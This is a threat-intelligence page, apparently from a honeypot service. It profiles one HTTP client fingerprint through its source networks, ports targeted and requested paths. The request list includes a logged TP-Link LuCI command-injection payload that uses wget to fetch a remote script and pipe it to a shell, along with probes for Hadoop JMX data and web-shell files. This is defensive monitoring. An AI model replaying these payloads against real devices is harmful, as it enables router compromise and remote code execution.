HoneyLabs
Lookup
Explore
CVEsEarly actorsPayloadsCampaignsEmissions IndexPortsUser-agents
Integrations
OverviewMCPFeedsAPI / EnrichSplunk ESMicrosoft SentinelElasticMISPOpenCTICrowdSec
PricingDocsBlog
Dashboard

Akin HTTP request fingerprint

b11cun010_00040000_c4b2c4aa

Seen 2026-02-16 to 2026-10-01 across the retained window.

Open in lookup → Addresses as a feed

The feed is a URL your firewall, MISP or SIEM polls; it needs a free account so it can be revoked. Or watch the top network: AS398324 sends an email when it next hits a sensor.

655

Source IPs

39

Networks

28

Countries

27.7K

Ports hit

64.7K

Events

17

IPs / network

Top networks

AS398324 Censys, Inc.270 IPs29.6K
AS398722 Censys, Inc.112 IPs4.7K
AS6939 Hurricane Electric LLC65 IPs299
AS14061 DigitalOcean, LLC49 IPs50
AS37963 Hangzhou Alibaba Advertising Co.,Ltd.36 IPs285
AS135377 UCLOUD INFORMATION TECHNOLOGY (HK) LIMITED28 IPs30
AS8075 Microsoft Corporation24 IPs5.3K
AS398705 Censys, Inc.16 IPs23.3K
AS48090 Techoff Srv Limited5 IPs461
AS202425 IP Volume inc5 IPs12
AS10439 CariNet, Inc.5 IPs10
AS219502 Storm Industries LLC4 IPs8

Countries

US 486DE 56CN 37NL 15KR 11IN 9HK 8AU 5BG 4GB 4

Ports targeted

80/tcp 5.6K443/tcp 5654841/tcp 2164839/tcp 2021962/tcp 2014840/tcp 2001963/tcp 1981961/tcp 18618789/tcp 17044819/tcp 15820548/tcp 15744817/tcp 156

What it requests

GET/58.4K
GET/version122
GET/jmx?qry=Hadoop:service=NameNode,name=NameNodeInfo105
GET/jmx?qry=Hadoop:service=DataNode,name=DataNodeInfo104
GET/nuclei.svg?0G0WD=x102
GET/nuclei.svg?MA2qT=x102
GET/nuclei.svg?jwvYk=x102
GET/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(wget%20http%3A//0.0.0.0/router.tplink.sh%20-O-%7Csh)72
GET/RDWeb/Pages/en-US/login.aspx67
GET/this_is_a_new_hello_world.php55
GET/wp-content/plugins/hellopress/wp_filemanager.php55
GET/cgi-bin/luci/;stok=/locale42
Source IPCCNetwork Last seenEvents
167.94.146.57USAS398705 Censys, Inc.2026-10-011.5K
167.94.146.55USAS398705 Censys, Inc.2026-10-011.5K
167.94.146.60USAS398705 Censys, Inc.2026-10-011.5K
167.94.146.62USAS398705 Censys, Inc.2026-10-011.5K
167.94.146.50USAS398705 Censys, Inc.2026-10-011.5K
167.94.146.61USAS398705 Censys, Inc.2026-10-011.5K
167.94.146.52USAS398705 Censys, Inc.2026-10-011.5K
167.94.146.49USAS398705 Censys, Inc.2026-10-011.5K
167.94.146.58USAS398705 Censys, Inc.2026-10-011.4K
167.94.146.54USAS398705 Censys, Inc.2026-10-011.4K
167.94.146.59USAS398705 Censys, Inc.2026-10-011.4K
167.94.146.51USAS398705 Censys, Inc.2026-10-011.4K
167.94.146.63USAS398705 Censys, Inc.2026-10-011.4K
167.94.146.53USAS398705 Censys, Inc.2026-10-011.4K
167.94.146.56USAS398705 Censys, Inc.2026-10-011.4K
167.94.146.48USAS398705 Censys, Inc.2026-10-011.4K
20.205.12.169HKAS8075 Microsoft Corporation2026-09-29556
20.219.11.16INAS8075 Microsoft Corporation2026-09-30467
20.28.180.172AUAS8075 Microsoft Corporation2026-10-01414
93.123.109.214BGAS48090 Techoff Srv Limited2026-10-01396

Related fingerprints

Clients whose header set is within two of this one, measured from the tokens themselves.

b10cun010_00040000_c4b2c4aasame header set365 IPs2.0Kb11cun020_00040010_724c10fb1 header apart1.4K IPs70.5Kb10lun000_00000000_334359b91 header apart2.2K IPs24.5Kb11cun020_00040004_0a8d7f111 header apart3.9K IPs8.8Kb11cun020_00040001_78f1f19c1 header apart45 IPs4.6Kb10cun020_00040001_78f1f19c1 header apart610 IPs3.0Kb10cun020_00040010_724c10fb1 header apart14 IPs1.9Kb11cun020_00040002_5ff1c0a91 header apart129 IPs1.6K

About this fingerprint

Akin fingerprints an HTTP client from the request head alone: the protocol version, line endings, body framing, which headers are present, and the grammar of the negotiation header values. The User-Agent string and the request path are deliberately excluded, because both are trivially changed and both were measured varying within a single operator, so a scanner that rotates either keeps one fingerprint. The middle section is a presence bitmap rather than a hash, so two tokens can be compared directly to see how many headers the clients differ by.